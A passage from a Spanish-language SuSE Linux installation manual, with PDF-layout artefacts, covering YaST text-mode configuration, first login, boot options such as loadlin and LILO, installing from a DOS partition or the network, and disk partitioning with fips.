bonito nombre. Para entrar a Internet o usar una red local, debe cerciorarse de que el nombre sea correcto; p. ej. tier- ra.cosmos.univ. ~ tierra es el nombre de la computadora y cos- mos.univ el nombre del dominio (ingl. domainname). ~ ¿Red tipo loopback o red real ? Si la computadora no posee tarjeta de red se puede indicar loopback y en este caso no haría falta seguir en detalle con la configuración. ~ Si se elige red real , aparecerán adicionalmente preguntas como: Cliente DHCP, Tipo de red (para tarjetas Ethernet seleccione eth0 ), * * 41 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Figura 2.12: YaST ~ Nombre de computadora y de dominio dirección IP, netmask, gateway, inetd , portmap , servidor NFS, From - línea para los ''News-Postings'', cliente de red con acceso a un servidor de nombres (IP del servidor de nombre y YP-Domain), elección del módulo del kernel para la tarjeta de red. Figura 2.13: YaST ~ Selección del sistema de correo ~ Selección de sendmail.cf para el sistema de correo (ver figura 2.13); véase también el apartado 6.8 en la página 204Vamos a escribir ~ Configuración de sendmailsection.6.8. Las indicaciones que se han hecho hasta este momento se graban y SuSEconfig se encarga de ubicarlas en los distintos ficheros de configu- ración. YaST se termina y una serie de mensajes sobre el el estado del sistema pasan por la pantalla. . . 42 _____________________________________________________2.2.__Instalación_con_YaST__en_modo_texto_(YaST__1)____________________* *______________________ o Después de un par de mensajes del sistema y del saludo de "Bienveni- Contraseña daä parece la pregunta importante por la contraseña (ingl. Password) de de `root' `root'. Siempre necesitará esta contraseña cuando quiere entrar al sis- tema como + Administrador de sistema. Se debe elegir esta palabra con cuidado y recordarla perfectamente. Vigile la diferencia entre mayúscu- las y minúsculas; es mejor evitar los espacios o caracteres especiales si no se sabe exactamente lo que estos representan. Solo los primeros ocho caracteres cuentan con la configuración por defecto. o YaST anima a generar un ''login'' de usuario. Es conveniente seguir este Login paso ya que no se recomienda entrar al sistema como `root' para realizar tareas del día a día, pero sí bajo el ''login'' de usuario. Invéntese un bonito nombre y corto (sin espacios, no más de 8 caracteres), como por ejemplo tux. ¡En cualquier caso se debe recordar la contraseña que se introduzca! Figura 2.14: YaST ~ Selección de las interfaces de modem y mouse o YaST pregunta si se desea configurar el modem. Si realmente tiene uno se puede configurar ahora o también en cualquier otro momento. Seleccionando `Sí', YaST pregunta por el puerto serie de éste (figu- ra 2.14). ~ Téngase en cuenta que los ''Winmodems'' no funcionan (ver http://sdb.suse.de/sdb/en/html/cep_winmodem.html). o YaST pregunta si se desea ajustar el mouse. Para hacerlo, se elige `Sí' y se selecciona el tipo de mouse de una lista (parecido a figura 2.15 en la página siguiente). Si hay un mouse conectado al puerto serie, YaST quiere saber en cuál está (figura 2.14). También se elige este puerto de la lista. o Confirmar después el inicio del programa gpm para cada arranque de sistema (figura 2.16 en la página siguiente). Si fuera preciso instalar paquetes desde los CDs restantes (ver apartado 2.2.8 CDs en la página 39Instalación de softwaresubsection.2.2.8), YaST lo haría aho- adicionales ra. . . * * 43 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Figura 2.15: YaST ~ Selección del driver de mouse Figura 2.16: YaST ~ Inicio de gpm o YaST le pide insertar los CDs restantes1 . El último CD solo se debe intoducir si se ha pedido explícitamente la instalación de fuentes (ingl. sources) de algún programa ~ por lo general este no es el caso. o Después se finaliza YaST y se debe pulsar |______|-. Su SuSE Linux está ahora completamente instalado. _____________________________________________1 Si tiene SuSE Linux en DVD no hace falta preocuparse de nada ya que todo viene incluido en un solo DVD. 44 _____________________________________________________2.2.__Instalación_con_YaST__en_modo_texto_(YaST__1)____________________* *______________________ 2.2.11 Entrar al sistema después de la primera instalación Mientras se ejecutan diversos scripts de configuración en segundo plano, se `root' puede entrar al sistema como usuario `root'; p. ej. en la consola 1 . Por Login: detrás del mensaje "Login:", se escribe root y cuando se pida la contraseña ("Password:"), se introduce la contraseña definida anteriormente para el usuario `root'; esta contraseña se ha definido en el apartado 2.2.10 en la página 43Configuración básica con YaST subsection.2.2.10) ~ ¡No se debe confundir esta contraseña con la del ''usuario de ejemplo''! ~ Respecta al significado del proceso de ''login'' véase también el apartado 19.1 en la pági- na 467Hacer login, `root'-Usuario, introducción de Usuariosection.19.1. El + Prompt del sistema Linux aparece y se puede comenzar a trabajar: Prompt tierra: # Por ejemplo, se puede introducir el comando ls -a para ver el listado de los ficheros en el directorio de trabajo. tierra: # ls -a O también se puede introducir por ejemplo YaST (yast ) para modificar la instalación o administrar el sistema. tierra: # yast Cuando YaST (yast ) arranca se pueden generar usuarios adicionales usando la opción del menú `Administración de sistema'. Se sigue con la op- ción `Configurar XFree86TM ' la cual permite configurar la tarjeta gráfica (ver apartado 8.1 en la página 238Configuración con SaX section.8.1). _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| En segundo plano se ejecutan scripts de configuración automáticos (Indi- || | |||||||| cación de las ''Manual-Pages'', configuración de perl, etc.); en computado- || | |||||||| || | |||||||| ras menos potentes este procedimiento puede durar ~ según el tamaño de || | |||||||| la instalación ~ hasta más de una hora. Si se llegara a apagar la computa- || | |||||||| || | |||||||| dora prematuramente, YaST se ejecutará automáticamente en el próximo || | |||||||| || | |||||||| arranque del sistema. || | |||||||| Los mencionados scripts se han ejecutado por completo cuando aparece en || | |||||||| || | |||||||| la + Consola9: || | |||||||| || | |||||||| Have a lot of fun! || | |||||||| ____ ___ || | |||||||| (Cambiar la consola con |A____l|t+ |F___|9) || | ||||||||_______________________________________________________________________________________________________________||_ Después de la instalación se pueden efectuar más configuraciones; véanse los consejos sobre impresoras, instalación de hardware adicional e Internet en el apartado 2.1.17 en la página 28Configuraciones adicionales y trabajo con el sistemasubsection.2.1.17. * * 45 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________||| | ¡Nunca se debe apagar de golpe una computadora con Linux! Hay que * * |||| || usar la función de parada de KDM o uno de los comandos presentados en * * |||| | el apartado 19.2 en la página 468Apagar y arrancar el sistemasection.19.2 * * |||| | * * ||| | para efectuar una ''parada limpia'' (ingl. Shutdown). En caso contrario es * * ||| | preciso efectuar una comprobación del sistema de ficheros la próxima vez * * ||| | * * ||| | que si inicia la computadora. Esto cuesta al menos un cierto tiempo e * * ||| | incluso es posible que el mecanismo de comprobación no sea capaz de * * ||| | * * ||| | recuperar todos los datos. * * ||| |_______________________________________________________________________________________________________* *________|||_ 46 __________________________________________________________________________2.3.__¿Cómo_se_debe_arrancar_Linux?_______________* *______________________ 2.3 ¿Cómo se debe arrancar Linux? El sistema SuSE Linux está ahora instalado casi por completo. Lo que falta por aclarar es cómo se desea arrancar SuSE Linux en el uso diario (+ Arrancar). El siguiente resumen muestra las principales posibilidades de arrancar Linux. El método de arranque que más se adapta a sus necesidades depende del grado de experiencia que se tenga usando computadoras y también del tipo de uso previsto. Disquete de arranque: Para arrancar Linux con el disquete de arranque. Esta posibilidad siempre funciona y no representa ningún trabajo, porque posiblemente ya lo ha generado (concretamente en el apartado 2.1.10 en la página 25LILO : Otra configuración de arranquesubsection.2.1.10). El disquete es una buena solución intermedia si no se tiene en el momento otra posibilidad o si se prefiere postergar la decisión sobre este tema. También en combinación con OS/2 o Windows NT, el uso del disquete de arranque puede representar una buena solución. loadlin : La variante con loadlin presupone: o La computadora tiene que estar bajo DOS en modo real o en el mo- do virtual del 8086 teniendo activado un servidor VCPI. Un servidor VCPI proporciona p. ej. emm386.exe . Dicho de otra manera: Se trata de una solución que no funciona bajo Unix, OS/2, Windows NT o en una ventana DOS de Windows 95/98 ~ pero sí que funciona bien desde el prompt de MS-DOS o desde el modo DOS de Windows 95/98. o El ordenador debe tener suficiente memoria libre en DOS: Por debajo del límite de 640 KB hace falta un mínimo de 128 KB, el resto puede ser memoria extendida EMS/XMS. Aunque su instalación es un poco complicada, loadlin se puede integrar fantásticamente en los menús de arranque de Windows 95 y 98. Esto exige editar manualmente ficheros de configuración. La gran ventaja es que no se modifica el sector de arranque + MBR (ingl. Master Boot Record). De esta manera, los demás sistemas operativos no ven más que una partición con anotaciones, como huella de Linux. Para instalar loadlin , se requieren ciertos conocimientos de DOS y de Linux. Se debe saber cómo generar con un + Editor los ficheros de con- figuración necesarios. En el apartado 4.9 en la página 143Configuración del mecanismo de arranque con loadlinsection.4.9 hay detalles sobre este procedimiento. Es posible que se presenten problemas si se equivoca configurando los menús de arranque de Windows 95/98; en caso extremo, ya no se podría acceder a la instalación de Windows. Antes de configurar los menús de arranque se debe comprobar que el sistema se carga con un disquete de arranque de Windows. LILO : La solución más limpia desde un punto de vista técnico y más univer- sal, es el uso del gestor de arranque LILO que permite seleccionar entre distintos sistemas operativos antes de arrancar. Su instalación mediante YaST es sencilla (ver el apartado 3.7.2 en la página 106`Configuración * * 47 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ LILO 'subsection.3.7.2). Ciertamente LILO tiene que estar presente en el sector de arranque del disco duro, lo que implica un pequeño riesgo. El tratamiento de un posible error exige conocimientos básicos del proceso de arranque. Es necesario saber editar ~ por algún caso ~ el fichero princi- pal de configuración de LILO . También es conveniente saber antes de la instalación, cómo desinstalar de vuelta LILO . Hay más detalles acerca de LILO y del proceso de arranque en el apartado 4.3 en la página 122Re- sumen de LILO section.4.3. Sigue siendo así que LILO representa la mejor forma de arrancar. Sencillamente se ha de tener en cuenta que la instalación de LILO es más complicada que, por ejemplo, el uso de un disquete de arranque. ________________________________________________________________________________________________________* *________||| | * * ||| | Hay determinadas versiones de + BIOS que comprueban la estructura del * * ||| | sector de arranque (MBR) y que emiten ~ por equivocación ~ la advertencia * * ||| | * * ||| | de presencia de virus después de la instalación de LILO . Lo más sencillo * * ||| | para resolverlo es entrar en la BIOS y tratar de desactivar la protección * * ||| | * * ||| | antivirus (`virus protection'). ~ Una vez que Linux esté instalado es * * ||| | posible activar esta característica de nuevo, pero si se usa la computadora * * ||| | * * ||| | exclusivamente con Linux tampoco hace falta. * * ||| |_______________________________________________________________________________________________________* *________|||_ Se puede encontrar una explicación exhaustiva sobre los diferentes métodos de arranque y en especial sobre LILO y loadlin en el capítulo 4 en la pági- na 119Arrancar y gestor de arranquechapter.4 en adelante. Gestores de arranque adicionales Por su creciente importancia, algunos fabricantes y comerciantes de gestores de arranque, tienen en cuenta a Linux. En primer lugar se deben mencionar los programas System Commander Deluxe o Partition Magic . A parte de simples ayudas durante el arranque de sistema, estos paquetes también ofre- cen funciones como el cambio de tamaño de particiones (existentes) del tipo FAT32 o el cambio de FAT16 a FAT32. Estos programas no forman parte de los CDs y no podemos ofrecer soporte de instalación al respecto. 48 __________________________________________________________2.4.__Instalación_sin_soporte_del_lector_CD-ROM___________________* *______________________ 2.4 Instalación sin soporte del lector CD-ROM ¿Qué hacer si no es posible efectuar una instalación estándar a través de un lector CD-ROM? El lector CD-ROM podría ser uno de los modelos ''propi- etarios'' antiguos para los que no siempre existe soporte. También es posible que no se tenga una unidad CD-ROM en una segunda computadora (p. ej. un portátil) pero que sí se tenga una tarjeta Ethernet o un cable PLIP. . . SuSE Linux ofrece también la posibilidad de instalar el sistema en una com- putadora de tales características: o Desde una partición DOS (apartado 2.4.1). o A través de una conexión de red Ethernet tipo NFS o FTP o vía PLIP (apartado 2.4.2 en la página 51Instalación desde una fuente en la ''red''subsection.2.4.2). 2.4.1 Instalación desde una partición DOS ¿De qué se trata? Se puede copiar el software de Linux (parcialmente) antes de la instalación, en una partición DOS del disco duro, cuando el kernel estándar no soporta la unidad CD-ROM o bien, cuando por parte de Linux no existe soporte para éste. En el último caso, no se podrá usar el CD-ROM con Linux. Requisito / Situación Se trabaja bajo DOS, Windows o OS/2 y se sabe que Linux no soporta el lector CD-ROM. Por otra parte, hay suficiente espacio en la partición de DOS, o Windows (3.11 o 95/98) y la computadora tiene suficiente + Memoria. Paso por paso. . . Para copiar todos los ficheros deseados en el disco duro, se procede de la siguiente manera (si no le interesa ir paso a paso, tal vez el fichero ''batch'' lhdsetup.bat en el directorio \dosutils le resulte útil): 1. Generar un directorio que sirva de traspaso. El nombre no tiene impor- tancia; en este ejemplo se llama \pepe . 2. Por debajo de \pepe se necesita el directorio suse y dentro de éste, como mínimo, los directorios a1 , images y setup . Estos se necesitan para la instalación del sistema Linux base. El árbol de directorios necesario se muestra en la figura 2.17 en la página siguiente. 3. Copiar los ficheros de \suse\a1 del CD 1 en \pepe\suse\a1 , en el disco duro; si hay mucho espacio en la partición DOS, lo mejor es copiar todo el directorio \suse a \pepe\suse . 4. Seleccionar en \suse\images un kernel que soporte el hardware. El fichero \suse\images\readme.dos indica cuál kernel soporta qué tipo de hardware. Se procede entonces a copiar el kernel en \pepe\suse\images . Un kernel se compone de 4 ficheros (ver arriba): el kernel sin extensión y los ficheros con las extensiones .ikr , .inf y .map. Si hay suficiente * * 49 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|||| | * * | || * * || | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | Figura 2.17: Estructura de directorios para la instalación espacio en el disco duro, se pueden copiar también todos los ficheros, evitándose por el momento la selección del kernel. 5. Por razones de seguridad conviene copiar los ficheros \suse\images\root y \suse\images\initdisk.gz en \pepe\suse\images . 6. Copiar \suse\setup\loadlin.exe en \pepe\suse\setup . 7. Por lo demás, solo hace falta desempaquetar el fichero \suse\setup\root y copiarlo a \pepe\suse\setup . Para ello use la versión DOS de gzip del directorio \dosutils del CD: C:> cd \pepe\suse C:> gzip -dc < images\root > setup\inst-img Este fichero es relativamente grande, pero solamente se necesita para la instalación base. Una vez que se ejecute el sistema base, se puede proceder en cualquier momento a instalar paquetes individuales desde la partición DOS; el fichero inst-img ya no se necesita. 8. Crear ahora el directorio \pepe\suse\setup\descr en el disco duro y copiar en él todos los ficheros del directorio \suse\setup\descr . 9. Si aún queda suficiente espacio en el disco duro, también se puede crear el directorio \pepe\suse\setup\du y copiar en él todos los ficheros de \suse\setup\du . Estos ficheros no son absolutamente necesarios, pero más tarde permitirán a YaST efectuar cálculos sobre el tamaño del software a instalar o del software ya instalado. Si realmente queda espacio resultan bastante útiles. 10. Ahora ya se tiene todo lo necesario para un sistema Linux base en la partición DOS del disco, pero todavía falta el resto del software. Ya que Usted pertenece al conjunto de personas cuyo lector CD-ROM no 50 __________________________________________________________2.4.__Instalación_sin_soporte_del_lector_CD-ROM___________________* *______________________ es soportado por Linux, debe ir instalando todo en porciones: primero al disco duro, instalar desde allí con YaST y finalmente borrarlo otra vez del disco. No hace falta hacerlo de inmediato, pero si ya sabe lo que quiere, entonces: ¡Adelante! Cree un directorio bajo \pepe\suse y copie en él los ficheros correspondientes. Todo lo que hay se encuentra en la descripción de los paquetes o en la documentación en línea del CD. Ahora se puede comenzar la instalación como se ha explicado en el aparta- do 2.2.2 en la página 30A continuación: La pantalla de bienvenidasubsection.2.2.2. Si linuxrc pregunta por la Fuente de instalación (apartado 2.2.3 en la página 31La base: linuxrc subsection.2.2.3), se debe indicar `Disco duro' y responder a la pregunta sobre la partición con el + Device correspondiente de la partición DOS. Esto es por lo general /dev/hda1 o /dev/sda1, si DOS se encuentra en la primera partición primaria. En caso de haber adoptado la nomenclatura propuesta arriba, se debe indicar el nombre pepe en la próxima pregunta sobre el Directorio fuente . La instalación continúa entonces tal como se ha detallado en el apartado 2.2.4 en la página 35Arrancar YaST subsection.2.2.4. No indique en estas circunstan- cias `Todo el disco', ya que se borrarían todos los preparativos. 2.4.2 Instalación desde una fuente en la ''red'' El soporte no cubre esta vía de instalación (ver apartado H.1.2 en la pági- na 541Cobertura del soporte de instalaciónsubsection.H.1.2). Solo los usuarios experimentados deberían usar este medio de instalación. ¿De qué se trata? La computadora en la cual se quiere instalar SuSE Linux no tiene ningún lector CD-ROM y tampoco existe una partición DOS que se pueda usar para el traspaso de ficheros. Por otra parte, se puede instalar una conexión vía red a otra computadora que tenga un lector CD-ROM o en cuyo disco duro haya una copia del CD, como se ha explicado en el apartado 2.4.1 en la página 49Instalación desde una partición DOSsubsection.2.4.1. Además hace falta copiar del CD-Rom los ficheros .S.u.S.E-disk* al disco duro; bajo Linux p. ej. con: tierra: # cp /cdrom/.S* /pepe tierra: # cp -a /cdrom/suse /pepe ¡La ''otra'' computadora debe ser capaz de ''exportar'' los datos adecuada- mente! Paso por paso. . . 1. Comenzar la instalación del cliente como se ha explicado en el aparta- do 2.2.2 en la página 30A continuación: La pantalla de bienvenidasubsection.2.2.2. 2. Seguir los pasos de la instalación como se ha indicado en el apartado 2.2.3 en la página 31La base: linuxrc subsection.2.2.3 ~ pero: o Al llegar a la opción del menú `Módulos de kernel', cargar el driv- er de red adecuado (opción `Driver de red'). Esto no es necesario si se quiere instalar vía PLIP. * * 51 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ o Cuando linuxrc pregunte por la `Fuente de instalación', selec- cionar `Red (NFS)' y proceder con la configuración de red. También existe la posibilidad de instalar vía FTP. 3. Finalizar la instalación como se ha explicado en el apartado 2.2.4 en la página 35Arrancar YaST subsection.2.2.4 en adelante. Posibles problemas o La instalación termina antes de haber comenzado realmente: El directorio de instalación de la ''otra'' computadora no se exportó con derechos de ejecución (exec ) ~ se ha de modificar esto. o El servidor desconoce la computadora en la que SuSE Linux debe ser instalado. Introducir al fichero /etc/hosts del servidor, el nombre y la dirección IP de la computadora nueva. 52 _________________________________________________________2.5.__Otra_vía_de_instalación:_Con_setup_y_loadlin_________________* *______________________ 2.5 Otra vía de instalación: Con setup y loadlin 2.5.1 Activar modo DOS de Windows 95 La computadora bajo DOS debe estar en el modo real (ingl. real-mode) para poder arrancar el programa de instalación Setup . El programa de instalación Setup.exe llama a un programa basado en MS- DOS denominado loadlin . Este programa solo es capaz de cargar el + Linux originario en la memoria y arrancarlo si el procesador se encuentra en modo real o bien si un servidor VCPI 2 está activo cuando el procesador está en el modo virtual del 8086. La ventana DOS de Windows 95 corre en el modo virtual del 8086, pero no proporciona ningún servidor VCPI; por lo tanto, setup no funciona en la ventana DOS. Paso por paso. . . Hay dos posibilidades: Cambiar al modo DOS desde Windows 95/98 o entrar al modo DOS directamente en el momento de arrancar. Si Windows 95/98 ya se ejecuta, seleccione `Inicio'-`Apagar sistema'- `Reiniciar equipo en modo MS-DOS'. Si ya se encuentra en el proceso de arranque, pulse |F___|_8durante el arranque de Windows 95 y seleccione después `Sólo símbolo de sistema'. Posibles problemas Se pueden presentar problemas si no está definida la distribución española del teclado y si el driver del CD-ROM no está cargado: o En modo DOS no funcionan las tildes y los caracteres especiales. Consul- tar el apartado 2.7.2 en la página 63La distribución del teclado en modo MS-DOS no es correctasubsection.2.7.2. o En modo DOS no se puede leer la unidad CD-ROM. Consultar el aparta- do 2.7.3 en la página 63No hay driver de CD-ROM en modo MS- DOSsubsection.2.7.3 2.5.2 Arrancar Setup y su primera parte El programa Setup.exe prepara el arranque del + Linux originario. Ahora se arranca este programa y se ejecuta hasta el punto en que se debe decidir entre dos posibilidades de arranque para el Linux originario. Se ha arrancado MS-DOS o una ventana de MS-DOS que no se encuentra en modo protegido; el primer CD está en el lector y hay acceso al lector de CDs. Mediante el programa Setup.exe se podrá ejecutar un Linux originario que posteriormente se encargará de realizar realmente la instalación de Linux. Ahora es cuando se arranca Setup.exe y se ejecuta hasta el momento de tener la opción entre dos diferentes maneras de arranque para el Linux originario. Estas posibilidades son: Disquete de arranque o con loadlin directamente desde el CD/disco duro. 2 ____________________________________________________ Un servidor VCPI es proporcionado p. ej.por emm386.exe. * * 53 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Paso por paso. . . La primera parte de Setup se llevará a cabo del siguiente modo: 1. Arrancar con setup en el directorio raíz del CD. 2. Seleccionar el idioma de diálogo para pasar por Setup . 3. Introducir la letra de unidad del lector CD-ROM, p. ej. E . Tal vez esta letra ha sido cambiada a causa de una partición adicional de DOS. 4. Setup.exe saluda ahora,__así_ que podemos responder a tanta amabilidad presionando suavemente |_____-|. 5. Los siguientes apartados tratan sobre cómo arrancar el + Linux originario. Para este tema se requiere tomar más decisiones (apartado 2.5.3) que se comentarán posteriormente. 2.5.3 ¿Cómo se arranca el Linux originario desde setup ? Hay exactamente dos posibilidades para arrancar el + Linux originario a par- tir del programa setup : Usando disquetes o con la ayuda de loadlin directa- mente desde el CD. A continuación se elegirá una de la dos vías. Información adicional La vía más simple y cómoda es naturalmente la del arranque del Linux orig- inario directamente desde el CD. Para ello se recurre al programa de DOS loadlin.exe . Este programa carga un fichero con el Kernel de Linux desde el CD a la memoria, prepara la carga de un RAM-disk y comienza después a ejecutar el código del kernel. Esto solo funciona si la computadora se en- cuentra en modo real o cuando esté en modo virtual del 8086 con un servidor VCPI3 activo. Esto significa que las ventanas DOS de OS/2 o Windows NT no funcionan para este fin. Arrancar desde un disquete siempre funciona pero resulta algo más complica- do y tarda más. Atención: Cuando hablamos aquí de disquetes, nos referimos a los disquetes que se generan con setup . Más fácil es, evidentemente, usar el disquete de arranque de SuSE (o el arranque directo del CD), pero aquí no se trata de esto, sino de decidirse entre generar disquetes con setup o cargar el kernel directamente con loadlin . Recomendación Decídase por loadlin cuando sea posible ~ o sea, cuando no se trabaja ni bajo OS/2 ni bajo Windows NT. En caso de duda, se aconseja probar simplemente. Si no tuviera éxito, se puede comenzar otra vez con el apartado 2.5.2 en la página anterior y seleccionar la vía para generar disquetes. 2.5.4 Instalar loadlin y arrancar Linux originario En este apartado se instala y se usa loadlin.exe , con el cual se cargará y arrancará un kernel de Linux para luego ejecutar el Linux originario. _____________________________________________3 Un servidor VCPI proporciona p. ej.emm386.exe. 54 _________________________________________________________2.5.__Otra_vía_de_instalación:_Con_setup_y_loadlin_________________* *______________________ Requisito / Situación Si realmente se ha hecho todo hasta aquí y se desea ver el primer signo de vida de Linux en la pantalla, entonces ya se han cumplido ¡todos los requisitos! Información adicional Ahora Setup genera en su partición DOS el directorio \loadlin que será el encargado de acoger los programas setup.exe , loadlin.exe ; el fichero Linux.bat y el kernel escogido bajo el nombre zimage . Arrancando de- spués de esta primera instalación se llama al fichero Linux.bat (si se efectúa esta llamada es necesario introducir como parámetro la partición de ''root''); este tema se abarca en el apartado 2.10.2 en la página 79Fijar sistemas de fichero y ''Mountpoints''subsection.2.10.2. Al final de este paso se procede a cargar y a arrancar el kernel. Paso por paso. . . Para instalar loadlin y arrancar el + Linux originario, se procede de la sigu- iente manera: 1. Seleccionar la opción `loadlin' y pulsar |______|-. 2. Esta pantalla muestra la cantidad de memoria RAM que tiene la computa-_ dora. Generalmente este valor es correcto y se afirma pulsando |_____-|. Si la cantidad de RAM no fuera correcta, se debe corregir. 3. Ahora se debe saber si Linux soporta el lector CD-ROM. o Si Linux soporta el lector CD-ROM, se pulsa |______|-y listo!. o Si Linux no soporta el lector CD-ROM no pasa nada, porque ya se han copiado (apartado 2.4.1 en la página 49Instalación desde una partición DOSsubsection.2.4.1) los ficheros en el_disco_duro. Seleccionar aho- ra la opción `Disco duro' y pulsar |_____-|. Seguidamente introducir el path en el cual se había copiado el directorio suse. En el ejemp- lo del apartado 2.4.1 en la página 49Instalación desde una partición DOSsubsection.2.4.1 se usó \pepe , por tanto se debe escribir \pepe . No hace falta indicar el directorio por debajo (suse ). 4. Ahora se debe elegir un kernel adecuado. 5. En este paso se tratan los parámetros del kernel. Por cada línea se indica un parámetro, una línea en blanco significa listo. ¿Qué parámetros poner? En el apartado 14.1 en la página 357Drivers del kernelsection.14.1 hay indicaciones detalladas sobre los parámetros. 6. La siguiente pantalla pregunta si se desea instalar el programa loadlin . Esto se afirma con `Sí'. Setup genera entonces el directorio \loadlin y copia los ficheros en él. 7. Ahora se arranca el + Linux originario usando la opción `Cargar Lin- ux'. Haciendo ésto pasarán alrededor de dos páginas de texto por la pantalla que genera el kernel. Si todo va bien, el programa linuxrc en- vía un saludo. También se puede leer_con_tranquilidad_el_texto_generado___ _________ por el kernel, usando las teclas |S_______h|ift+ |B_________|ildy "|_______S|hift+ |B_________|ildpa#ra repasarlo de arriba a abajo. * * 55 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Ahora la instalación continúa como se ha explicado en el apartado 2.2.3 en la página 31La base: linuxrc subsection.2.2.3. Posibles problemas Aquí se pueden presentar problemas en dos puntos diferentes: loadlin no se puede cargar o no puede arrancar el kernel, o bien, el kernel tiene problemas con el hardware. o loadlin no tiene suficiente memoria para cargar el kernel. Consultar: apartado 2.7.9 en la página 66loadlin necesita más memoria para cargar el kernelsubsection.2.7.9. o loadlin no puede arrancar el kernel, la computadora corre en el modo virtual del 8086 y no hay ningún servidor VCPI disponible. Con- sultar: apartado 2.7.11 en la página 66DOS se encuentra en modo protegidosubsection.2.7.11. o loadlin no funciona: Consultar apartado 2.7.10 en la página 66loadlin no funcionasubsection.2.7.10. o El CD-ROM es defectuoso: Consultar apartado 2.7.4 en la página 64El CD es defectuososubsection.2.7.4. 56 ________________________________________________________________________________________2.6.__Bloques_de_información________* *______________________ 2.6 Bloques de información 2.6.1 Hacer espacio para Linux (particionar) La idea es preparar el disco duro para alojar nuevas particiones Linux. Esper- amos que se tenga un poco de tiempo para repasar este apartado con tranquil- idad; es recomendable tener un par de disquetes o cintas para un respaldo o copia de seguridad y también un disquete de arranque del sistema operativo actual. Información adicional Particionando se puede dividir un disco duro en varias zonas que son bastante independientes entre sí. Una buena razón para generar varias particiones es la posibilidad de la coexistencia de varios sistemas operativos con sus correspondientes sistemas de fichero en un solo disco duro. ¿Cómo generar entonces espacio para particiones de Linux? o Es posible borrar por separado particiones del disco duro; con esta op- eración se pierden todos los ficheros que se encuentran en ella. El espacio que se libera de este modo en el disco estará entonces a disposición para una nueva partición (p. ej. Linux) o bien para varias. o También es posible asignar particiones concretas a otros sistemas opera- tivos pero se perderán todos los ficheros de la partición como si se estu- viera borrando. o Bajo MS-DOS o Windows 95/98 es posible disminuir el tamaño de la última partición del disco sin pérdida de ficheros. Antes de particionar es necesario usar un programa de defragmentación para que todos los ficheros se sitúen al comienzo de ésta. Si solo existe una partición de MS-DOS o de Windows, resulta sencillo con este método, hacer espacio para particiones Linux. Después de la defragmentación se pueden usar programas especiales ~ p. ej. el programa freeware fips ~ para disminuir el límite superior del cilindro y así achicar el tamaño de la partición. fips se encuentra en el CD 1 en el directorio dosutils. o Un método muy cómodo, si bien acompañado de costes, es el de la insta- lación de un disco duro adicional. _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| Al modificar particiones es necesario trabajar cuidadosamente, vigilando || | |||||||| las instrucciones del software a tal efecto. No obstante, pueden apare- || | |||||||| || | |||||||| cer problemas que provoquen la pérdida completa de ¡todos los datos! En || | |||||||| SuSE no nos podemos responsabilizar del buen funcionamiento de la parti- || | |||||||| || | |||||||| ción del disco. En todo caso es muy recomendable hacer copias de seguri- || | |||||||| dad, como mínimo de los ficheros más importantes y preparar un disquete || | |||||||| || | |||||||| de arranque. || | ||||||||_______________________________________________________________________________________________________________||_ Paso por paso. . . Para particionar el disco duro se hace lo siguiente: 1. Se debe saber cuántas particiones hay en el disco y qué tamaño tienen. Para averiguarlo se usa el programa fdisk del sistema operativo. * * 57 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2. Planificar la cantidad de particiones requeridas y sus tamaños. La infor- mación al respecto está en el apartado 2.8 en la página 70Particionar para principiantessection.2.8 y en el apartado 2.9 en la página 71Particionar para avanzadossection.2.9. 3. Apuntar el plan de particiones en un papel ya que se necesitarán estos datos varias veces durante la instalación. 4. En este momento se recomienda encarecidamente hacer un respaldo de todos los ficheros en el disco duro. Si no se tiene una unidad de cinta (ingl. streamer) y tampoco se quiere salvar todo en disquetes, entonces como mínimo se han de salvar los datos más importantes y los ficheros de arranque y de configuración (p. ej. config.sys, autoexec.bat y *. ini). Generar un disquete de arranque para el sistema operativo actual y probar si se puede arrancar con éste. En este disquete de arranque también se necesita un par de herramientas como p.ej. un editor, el programa de particionar fdisk y el programa para hacer respaldos. 5. Se continúa de acuerdo a la configuración: o DOS/Windows 95/98, una partición en el disco duro y, sin respaldo completo (ingl. File-Backup): Hace falta disminuir el tamaño de la partición sin producir pérdida de datos. Para ello, se mueven todos los datos al comienzo de la partición; con este fin se puede usar p. ej. el programa defrag.exe (MS-DOS 6 o Windows 95/98). Los programas de defragmentación no suelen mover ficheros escon- didos ni ficheros de sistema, ya que estos pueden estar ''anclados'' en un sitio definido del disco duro a causa de una protección de copia. Cuando se está seguro de no tener tales ficheros en el disco, se pueden desactivar los atributos oculto o sistema en todos los ficheros que los tengan activados o, según el programa de defragmentación usado, ajustar unos parámetros y forzar la defragmentación de estos ficheros; las versiones más recientes de defrag usan para ello el comando /P . El fichero de intercambio (''swap'') de Windows también es un fichero oculto. Si está mal colocado se debe desactivar bajo Windows en la ''Configuración de sistema''. Si finalmente se consigue suficiente espacio al final de la partición, diríjase entonces al directorio \dosutils\fips\fips15 del primer CD. Allí se encuentra el programa fips.exe que permite disminuir el tamaño de la partición. Antes de arrancar este programa, conviene estudiar las instrucciones amplias que se encuentran en el mismo directorio, ya que se trata de un tema un poco delicado. Por lo demás, cabe señalar que fips.exe solamente se ejecuta bajo DOS así que tendrá que finalizar Windows o llevar Windows 95/98 al modo DOS (ver también el apartado 2.5.1 en la página 53Activar modo DOS de Windows 95subsection.2.5.1). Después de ejecutar fips.exe se tiene una segunda partición en el disco duro, la cual se particionará luego para Linux. 58 ________________________________________________________________________________________2.6.__Bloques_de_información________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| También se puede achicar particiones del tipo fat32 usando fips.exe del ||| | ||||||||| directorio 